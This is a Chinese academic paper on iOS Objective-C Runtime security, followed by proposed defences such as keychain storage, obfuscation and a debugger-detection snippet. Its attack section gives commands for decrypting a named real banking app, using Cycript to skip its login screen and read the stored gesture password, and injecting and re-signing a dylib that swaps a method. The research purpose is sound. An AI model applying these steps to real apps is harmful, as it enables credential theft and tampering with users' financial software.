APP下载

iOS Runtime System安全性研究

2018-02-27

计算机应用与软件 2018年1期
关键词:攻击者应用程序代码

周 泊 宁

(上海大学计算机工程与科学学院 上海 200444)

0 引 言

iOS系统是苹果公司为其移动设备开发的一套基于UNIX的系统。随着苹果设备在世界范围内的风靡,研究人员对iOS系统的关注度越来越高。特别是美国政府确立苹果设备的越狱行为是合法后,对iOS系统的漏洞追寻,安全机制的攻克越发积极,这对于iOS系统的安全也提出了前所未有的挑战。

对于越狱,即破解iOS系统的可信引导机制,获取root操作权限,已经有诸多的研究成果,如凌宁等[1]对iOS系统的安全机制、加密系统和保护分级机制的研究,分析iOS设备在越狱状态下存在的漏洞,并通过实验破解iOS设备获取PIN码以及各级密钥,对比分析越狱设备存在的安全性隐患;吴寅鹤[2]在其研究中指出iOS的安全机制包括信任启动、代码签名、沙盒技术、数据保护等的关键点及薄弱环节;陆鹏等[3]通过对iOS内核的研究,介绍了iOS的代码签名机制的实现原理与运行机制。也有许多学者对iOS系统的数据安全进了研究,如李柏岚[4]在研究中对备份数据进行了分析,指出了其中的安全隐患;苏芊[5]研究了从iOS设备闪存芯片上原始数据的提取与鉴定工作。诚然,这些研究对改进iOS系统的安全性有巨大的推进作用,但很少人关注到iOS系统的Runtime System (运行时系统)并对其进行深入的研究。Runtime System作为iOS应用程序底层核心实现系统,尚若存在有被可利用的漏洞,定然会对在iOS设备上运行的程序造成极大的危害。因此本文旨在对Runtime System进行深入探究,发掘其中可能存在的漏洞,并提出防护手段。

1 Runtime System简介

iOS应用程序是用object-c语言开发的,object-c其实是对c语言的一层高级封装,使得c语言可以面向对象,但它的底层实现,依然是c。其次,Objective-C是一门动态加载语言,它会将一些工作放在代码运行时才处理而并非编译时。也就是说,有很多类和成员变量在程序编译的时候是不知道的,只有在运行时,这些类和成员变量才会转换成完整的确定的代码加载到内存中并建立联系。

因此,光有编译器是不够的,还需要一个Runtime system来处理编译后的代码。Runtime system是一套底层的C语言API,其为iOS内部的核心之一,程序中编写的object-c代码,在程序运行时,最终都被自动转译成了Runtime的c语言代码。例1是一个给label对象的text属性赋值的例子。

例1:Object-c:[label setText:@”123”];

Runtime: objc_msgSend(“label”,”setText”,”123”);

当然,Runtime System的功能不仅仅是翻译代码这么简单。首先,资源库的灵活加载,可以在需要的时候加载进内存,不需要的时候释放掉,不必一直占用内存资源,这对于硬件资源本来就非常拮据的移动设备来说显得尤为珍贵。其次,可以进行热更新,即在程序运行时更新。还有,当程序中存在未实现的方法时,并不会导致程序因报错而无法运行,仅在该方法未实现却被调用时才会导致崩溃。由此可见,Runtime System给程序带来的诸多优势是不言而喻的。

表1列举了部分常用的Runtime System库API,通过这些API的简单调用,我们可以实现一些强大的功能,例如:

(1) 在程序运行时,可以动态地创建一个类。

(2) 在程序运行时,可以动态地为某个类添加、修改属性或方法。

表1 runtime library部分常用API列表

然而,Runtime System在提供了强大及便捷的功能同时,也隐含了巨大的安全隐患。试想,能够在程序运行时,便捷地添加修改程序指令,更改指令参数,这对于攻击者来说是多么大的诱惑。一旦攻击者获取到程序在内存中的运行时信息,Runtime System就变成了攻击者手中的一把利剑,不论攻击者要程序“执行开锁命令”,又或是“改变那个参数值”。Runtime System并不会去考虑这个指令的调用是否合法,又或是来自程序内部还是外部,只会“傻傻地”去执行。最终负责任地完成攻击者交代给它所有任务。

可见,在iOS系统多重保护机制下运行的程序,依然没有我们想象中的那么安全。尚有很多安全隐患有待我们去解决。

2 ASLR

ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。同时,这种内存地址随机化布局的特性也加大了攻击者获取目标函数内存地址的难度。

但是,这种难度对于运行时攻击者来说太小了,因为ASLR存在两个方面的局限性:其一程序的基址只在启动时随机分配,也就是说攻击者开始部署攻击是在系统和程序稳定运行的过程中,如果这时攻击者找到攻击目标函数的地址话,那么 ASLR 根本起不到作用。其二即便在重启之后,ASLR 重新分配了地址,但是随机化的仅仅是程序基址,程序内部相对地址并不会改变,一旦程序开始运行,所有加载的模块地址都成为固定的,那么利用一些成熟的反编译工具可轻松检测出模块基址的偏移位置,之后便可轻松地展开攻击。

在后面的篇幅中,我将举例证实一名攻击者是如何破解ASLR并进行运行时攻击的,以及展示如何有效地保护程序免受攻击。

3 运行时攻击

运行时攻击相比其他黑客攻击手段,具有更大的危险性与破坏力。它可以避开iOS系统所做的多重安全机制,直接对目标对象进行操作。下面我们将在iOS9.3.3(越狱)系统环境下以一款金融行业App(3.0.0.6)为例,利用运行时漏洞,尝试获取其中的敏感数据及程序控制。

3.1 准备工作

在实施攻击之前,我们还需解决两个问题,首先就是2节中提到的ASLR技术,如何获取程序的随机地址?幸运的是,如果我们仔细研究程序文件,会发现程序的基址、偏移地址都被记录下来了。在iOS中,可执行文件、动态链接库、扩展文件、核心存储文件等都使用了一种名为Mach-O的文件格式。它由三部分组成:头部、加载指令、数据段。其中头部给出了文件的目标体系结构,如armv7(iphone4、4s采用的架构)、arm64(iphone5s及之后采用的架构)。还给出了一些标志位与解析文件剩余字段所需的信息。加载指令描述了文件的结构,以及文件在加载时在虚拟内存中的布局,还有一些其他信息。数据段则包含了实际代码以及其他资源数据。因此我们使用otool工具就可以很方便地从Mach-O文件的头部与加载指令中获取地址信息。

其次,所有从苹果商店下载的应用都会被加密,这是一种类似于iTunes Music所使用的FairPlay DRM机制,旨在版权保护。若是想要明确地寻找到应用程序中的敏感数据,那就必须先对应用解密。可喜的是,当应用程序被加载到iOS设备的内存以后,它也必须先被解密,然后才能运行。因此我们可以使用一个调试器工具(如gdb)将程序解密后的代码从内存中转储为一个文件,最后再将未加密的代码覆盖掉原程序中的加密块,这样就可以获取到我们所需的未加密程序了。

3.2 破解应用可执行文件

我们在桌面创建一个文件夹Test,将从appstore下载的ipa包解压到该目录,用file命令查看这个应用程序的体系架构:

$cd /User/zhouboning/Desktop/Test/Payload/ICBCiPhoneBank.app

$fileICBCiPhoneBank

ICBCiPhoneBank:Mach-O universal binary with 2 architectures

ICBCiPhoneBank (for architecture armv7): Mach-O executable arm

ICBCiPhoneBank (for architecture arm64): Mach-O 64-bit executable

在iphone5s推出之前,程序一般都是兼容armv6与armv7两种架构,但之后兼容的都是armv7与arm64两种架构了。使用otool命令获取架构地址信息:

$otool -f ICBCiPhoneBank

Fat headers

fat_magic 0xcafebabe

nfat_arch 2

architecture 0

cputype 12

cpusubtypre 9

capabilities 0x0

offset 16384

size 12261280

align 2^14(16384)

architecture 1

cputype 16777228

cpusubtypre 0

capabilities 0x0

offset 12288000

size 14096944

align 2^14(16384)

上面输出了两种架构的节起始地址以及在文件中的偏移值,记下arm64架构偏移值(12 288 000)在后面将用上。接着我们用otool命令获取加密程序的地址信息:

$otool -arch arm64 -l ICBCiPhoneBank | grep ENCRYPTION-A 4

cmd LC_ENCRYPTION_INFO_64

cmdsize 24

cryptoff 16384

cryptsize 11436032

cryptid 1

这里输出的其实是一个LC_ENCRYPTION_INFO_64命令结构体,各参数的含义。见表2。

表2 LC_ENCRYPTION_INFO_64命令结构体说明

这里我们需要记录的数据有cryptoff,cryptsize,cryptid。由此我们可以得出程序在内存中的起始地址0x4000(16 384),由于地址空间加载起来会有一个固定偏移值[6]0x1000,故实际起始地址为0x4000+0x1000=0x5000。结束地址为0x5000+0xae8000(11 436 032)=0xaed000。在设备上运行应用,使用gdb命令导出解密程序:

(gdb) dump memory arm64.bin 0x5000 0xaed000

(gdb) kill

Kill the program being debugged?(y or n) y

(gdb) q

至此我们可以得到一个名为arm64.bin的文件,里面的数据就是我们所需要的程序解密后的代码。注意,拷贝命令一定要在程序运行时执行,否则无法得到解密的数据。然后我们要用解密的arm64.bin文件替换掉原程序文件中的加密程序块,加密程序块的起始地址=架构偏移值(12 288 000)+加密模块偏移值(16 384)=12 304 384,通过dd复制工具执行替换:

$dd seek=12304384 bs=1 conv=notrunc if=./arm64.bin of=./ICBCiPhoneBank

最后,还需将cryptid修改为0,以标志该文件未被加密。对于cryptid的定位,可以根据LC_ENCRYPTION_INFO_64命令结构体的数据特征来定位,从iphone develop wiki[7]中可以查到LC_ENCRYPTION_INFO_64命令的宏定义是0x2c,命令大小为24字节,即0x18,cryptid位为0x01。由于结构体中每个数据都是32位(见表2),按小端字节序十六进制表示法,LC_ENCRYPTION_INFO_64的数据特征应该为:0x2c00000018000000……01000000,其中省略号处即为表示cryptoff与cryptsize的8字节数据。将此处01000000改为00000000即可。修改成功后,用otool命令即可看到如下信息:

$otool-arch arm64-l ICBCiPhoneBank|grep ENCRYPTION-A4

cmd LC_ENCRYPTION_INFO_64

cmdsize 24

cryptoff 16384

cryptsize 11436032

cryptid 0

至此,我们得到了一个未加密的应用程序,之后便可对其展开一系列分析与攻击。

3.3 使用Cycript进行简单的攻击

为了展开有效的攻击,我们需要知道这个程序中有哪些类,有什么方法。class_dump_z便是这样一款命令行工具,它可以检查存储在可执行文件中的Object-c运行时信息。输入如下指令:

$class-dump-z ICBCiPhoneBank-H-o /User/zhouboning/Desktop/headers

其中-H表示导出头文件,-o表示输出路径,我们可以在headers文件夹中查看到ICBCiPhoneBank用到的所有头文件,见图1。总共有1 400多个,这里我们仅列出几个将要用到的,首先是AppDelegate.h,见图2。AppDelegate是iOS程序启动时调用的第一个代理类,在这里可以找到许多有价值的信息。例如图2中所示,我们发现了一个changeToLoginVC:(Bool)loginVC方法,从方法名直译不难猜测,这是一个加载登录界面的操作,而参数为布尔类型,更容易联想true即为加载登录界面;false即为推出登录界面。

图1 部分头文件列表

图2 AppDelegate.h内容

于是我们可以借助一款Cycript的工具进行挂载操作,Cycript是一款成熟的运行时操作工具,可从其官网www.cycript.org下载。安装成功后,我们先获取程序的进程号,然后将Cycript挂载上它:

$ps aux | grepICBCiPhoneBank

mobile 13 0.9 2.6 368500 13696 ? Ss 09:07PM 4:15.20 /var/mobile/Applications/CE371D48-D390-46E5-903E-65A3F0E07 DAA/ICBC.app/ICBCiPhoneBank

#cycript-p 13

挂载后,我们便可以访问该软件所有的运行时类、变量等。例如获取AppDelegate类对象:

cy# var delegate=[UIApplicationsharedApplication].delegate

接着我们就可以调用changeToLoginVC来验证我们的猜测:

cy# [delegate changeToLoginVC:NO]

果然登录页面如期望一样消失了。

此外,我们在AppDelegate.h中还发现一个非常吸引人的名字GesturePasswordViewControllerDelegate,从单词意思上立马就能联想到这是一个管理锁屏手势密码的视图控制器对象,于是我们在headers文件夹中搜索,果然有不少与这个类有关的文件。见图3。在这里我们重点关注GesturePasswordViewController.h,见图4。在这个类中我们发现了很多敏感属性,诸如passwdGestureSetting, passwdGestureLogin。虽然不清楚这些属性的明确含义和区别,但这并不影响我们获取手势密码,将它们一起打印出来:

cy# UIApp.keyWindow.subviews[0].delegate

cy# vargp=new Instance(0x2c03a0)

cy# gp.passwdGestureSetting

“12369874”

cy# gp.passwdGestureLogin

“12369874”

图3 搜索结果

图4 GesturePasswordViewController.h内容

因为我将当前页面停留在锁屏页面,因此使用subviews[0].delegate就可以获取GesturePasswordViewController对象,new Instance(0x2c03a0)则是给该地址指派了一个变量,担当对象指针的角色,继而可以访问对象的属性、方法等。

3.4 更深层次的攻击

仅仅是获取属性值或修改方法参数,并不足以显示运行时攻击的危害,更具有破坏力的则是动态恶意代码注入。下面我们将用一个调用后弹出提示框的方法注入到原程序中替换掉changeToLoginVC:方法,代码如下:

#include

void attack(){

objc_msgSend(objc_msgSend(objc_msgSend(objc_getClass(″UIAlertView″), sel_registerName(″alloc″)),

sel_registerName(″initWithTitle:message:delegate:cancelButtonTitle:otherButtonTitles:″),

@″提示″,@″你已经被攻击了″,nil,@″确定″,nil),

sel_registerName(″show″));

}

这段代码创建了一个UIAlertView并显示到当前页面上。接着将代码打包成动态库attack.dylib。然后以调试模式运行ICBCiPhoneBank,并在main函数上添加一个断点:

# gdb -f ICBCiPhoneBank

(gdb) b main

Breakpoint 1 at 0x2eec

(gdb) run

程序会在main函数处中断,而我们要做的便是获取到changeToLoginVC:方法的内存地址:

Breakpoint 1, 0x00002eec in main()

(gdb) call (void *)objc_getClass(“AppDelegate”)

$1=(void *)0x30cc

(gdb) call (void *)sel_registerName(“changeToLoginVC:”)

$2=(void *)0x2fba

(gdb) call (void *)class_getMethodImplementation($1,$2)

$3=(void *)0x2e9c

接着将attack.dylib加载到内存中,并获取其内存地址:

(gdb) call (void *)dlopen(“attack.dylib”,2)

$4=(void *)0x115a50

(gdb) call (int *)dlsym($4,”attack”)

$5=(int *)0x43f88

最后,用class_replaceMethod进行方法替换:

(gdb) call (void *)class_replaceMethod($1,$3,$5,””)

$6=(void *)0x2e9c

(gdb) continue

运行后点击“在此登录”可以看见,在本应加载登录页面的地方,没有出现登录页面,而是弹出了我们创建的提示框,见图5。

图5 动态注入运行结果

3.5 从越狱到非越狱系统

至此,我们在iOS9下成功地完成了一系列由浅入深的攻击操作。然而众所周知,iOS系统的更新非常迅速与频繁,以此应对各种越狱工具及披露的安全漏洞。因此本文也针对iOS三个不同版本的越狱与未越狱系统分别进行实验,以更加深入地分析iOS系统的运行时安全特性。

要使越狱环境下的攻击代码在非越狱环境下也产生效用,就需要将攻击代码打包的动态库挂载到应用中,使应用启动时自动运行攻击代码。过程主要分为三步:自注入、挂载、重签名。

(1) 自注入是指在恶意代码中添加一段自动搜索函数,并执行函数替换的代码,以实现上文中我们利用gdb调试器所做的操作,代码如下:

static void __attribute__((constructor)) initialize(void){

class_replaceMethod(objc_getClass(“AppDelegate”),

sel_registerName(“changeToLoginVC:”),

attack,””)

}

这段代码中值得注意的便是__attribute__((constructor))关键字,该关键字所指定的方法会在main()函数之前执行,从而实现自动替换。

(2) 挂载则是指在应用启动时,自动加载我们的动态库,这可以通过修改mach-o文件的加载指令来实现,而借用yololib工具亦可自动完成加载指令的修改工作。挂载完成后用otool过滤查询可见挂载成功的结果,见图6。

图6 动态库挂载与加载指令查询结果

(3) 重签名:由于我们修改了mach-o文件,因此需要对应用文件重新签名,才能让其通过签名验证,运行在未越狱的系统上。得力于越狱技术的迅猛发展,如今成熟的重签名工具非常多,如iReSign、UtSign等,都能快速简单地实现签名。

最后将添加了攻击代码的应用程序安装到设备上即可。各系统环境下实验结果见表3。

表3 iOS各系统版本实验结果

本次实验所用系统均来自威锋网[9]的iOS固件中心,至本文撰写期间,尚未有iOS10以上版本的越狱固件。从实验结果可以看出,虽然在未越狱设备上不能使用Cycript等分析工具,但通过一台越狱设备对App应用进行分析,然后将完整的攻击代码移植到相应的未越狱系统环境下,依然可以完成攻击。但是这种打包好的攻击代码在系统环境发生变化,如系统版本或App版本更新,影响到攻击代码的执行时,便会使攻击失效。

4 运行时防护

从上文可以看到,对于一些缺乏安全防护的应用程序,就算是入门级的黑客也可以借助成熟工具利用运行时漏洞进行破坏。但同时我们也发现,攻击者所依赖的工具或是条件越多,说明我们就越容易对程序做一些对应的修改以起到防护作用。例如上面的攻击都依赖于我们从敏感词汇中找到的线索,还有调试器程序等的使用。针对这些,可以总结出以下几点防护措施。

4.1 及时的数据加密与擦除

很多时候,为了提高用户的产品体验,我们会在程序内存储一些持久化数据,如session值、用户名等。建议将这些数据加入iOS的keychain,keychain是iOS提供给开发者存储敏感数据的机制,加入其中的数据便能够受到iOS系统的加密保护,由此可以大大增加被窃取的难度。

此外,如一些用户输入性质的敏感数据,如密码、卡号等。单靠加入keychain是无法做到完善保护的,因为很有可能在给变量赋值后,加入keychain前,就被攻击者以获取属性值的手段窃取了。因此建议在给密码等敏感数据的变量赋值之前,就对数据进行加密。特别是一些全局变量,会在内存中长时间保存,更是需要进行先加密再赋值。而类似一些登录密码的信息,就应该在登录完后及时的安全擦除[8]以避免不必要危险。

4.2 代码混淆与陷阱

针对攻击者会依赖程序的方法名及属性名中的敏感词汇来顺藤摸瓜,我们可以采用混淆代码的办法,即用一串随机字符串替换掉具有明确意义的方法名和属性名,让攻击者找不到线索,由此阻碍其攻击。又或是我们可以创建一个陷阱方法,将它的名字命为password等非常甜蜜的词汇,但在方法中执行一些数据清除、禁用程序功能等操作,在攻击者自认为得手的时候,安全地销毁了我们数据。

但是这两种办法尚有一定的局限性,首先iOS的开发工具尚没有支持全面的代码混淆,因此程序员只能混淆自定义的对象、方法,却不能混淆系统库中声明的对象、方法。其次,陷阱的办法也仅能成功一次,上过当的攻击者就不会再去踩陷阱,倘若攻击者备份了程序,那陷阱也就失效了。

4.3 调试器检查

针对攻击者在攻击过程中会多次用到调试器,因此我们可以在main函数中加入调试器检测代码,若发现程序正在被调试,则立刻停止执行程序。在main.m中加入如下代码:

#include

#define DEBUGGER_CHECK {

size_t size=sizeof(structkinfo_proc);

structkinfo_proc info;

intret,name[4];

memset(&info,0,sizeof(structkinfo_proc));

name[0]=CTL_KERN;

name[1]=KERN_PROC;

name[2]=KERN_PROC_PID;

name[3]=getpid();

if (ret=(sysctl(name,4,&info,&size,NULL,0))){

exit(EXIT_FAILURE);

}

if(info.kp_proc.p_flag& 0x00000800){

NSLog(@″检测到在调试中,,,p_flag:%0x″,info.kp_proc.p_flag);

}

}

然后我们写一个demo,在main()方法中的第一行调用这个宏命令,然后在iOS模拟器上运行demo,可以在调试输出窗口看到输出,如图7所示。将log语句换成其他销毁数据或是退出程序的语句,便可有效阻挡攻击者的脚步。

图7 调试器检测输出结果

5 结 语

本文首先对iOS Runtime System进行了深入分析,阐述了运行时环境下的漏洞。其次采用实例验证的方法,利用其漏洞对一款应用程序分别采取了由浅及深的攻击实验。实验验证了本文所阐述的漏洞的确是可以被攻击者利用的,对应用程序的安全具有极大的危险性。最后针对本文所采用的攻击方法,分别提出相应的防范措施,以期最大程度的阻挡攻击者。

然而,矛与盾的较量是不会停止的,随着iOS系统的被关注层度越来越高,技术人员对其的研究也更加热诚,逐年披露的iOS系统漏洞也越来越多。当然iOS系统也正在这种被觊觎中不断完善、不断进步。

[1] 凌宁,张文,牛少彰.基于iOS系统的安全性研究[J].中国电子商情·通信市场,2013(4):91-95.

[2] 吴寅鹤.ios平台应用程序的安全性研究[D].广东工业大学,2014.

[3] 路鹏,方勇,方昉,等.iOS系统代码签名机制研究[J].信息安全与通信保密,2013(5):85-86.

[4] 李柏岚.ios平台的软件安全性分析[D].上海交通大学,2011.

[5] 苏芊.ios终端数字取证研究[D].上海交通大学,2013.

[6] Zdziarski J.Hacking and Securing iOSApplications[M].O’Reilly Media,2012:166-167.

[7] iphone develop wiki[OL].2014-07-09.http://iphonedevwiki.net/index.php/Crack_prevention.

[8] 刘鹏飞.ios程序的攻击手段分析及防护[D].电子科技大学,2014.

[9] 威锋网[OL].2017-03-04.http://act.feng.com/wetools/index.php?r=iosRom/index.

猜你喜欢

攻击者应用程序代码
基于贝叶斯博弈的防御资源调配模型研究
删除Win10中自带的应用程序
谷歌禁止加密货币应用程序
创世代码
创世代码
创世代码
创世代码
正面迎接批判
正面迎接批判
三星电子将开设应用程序下载商店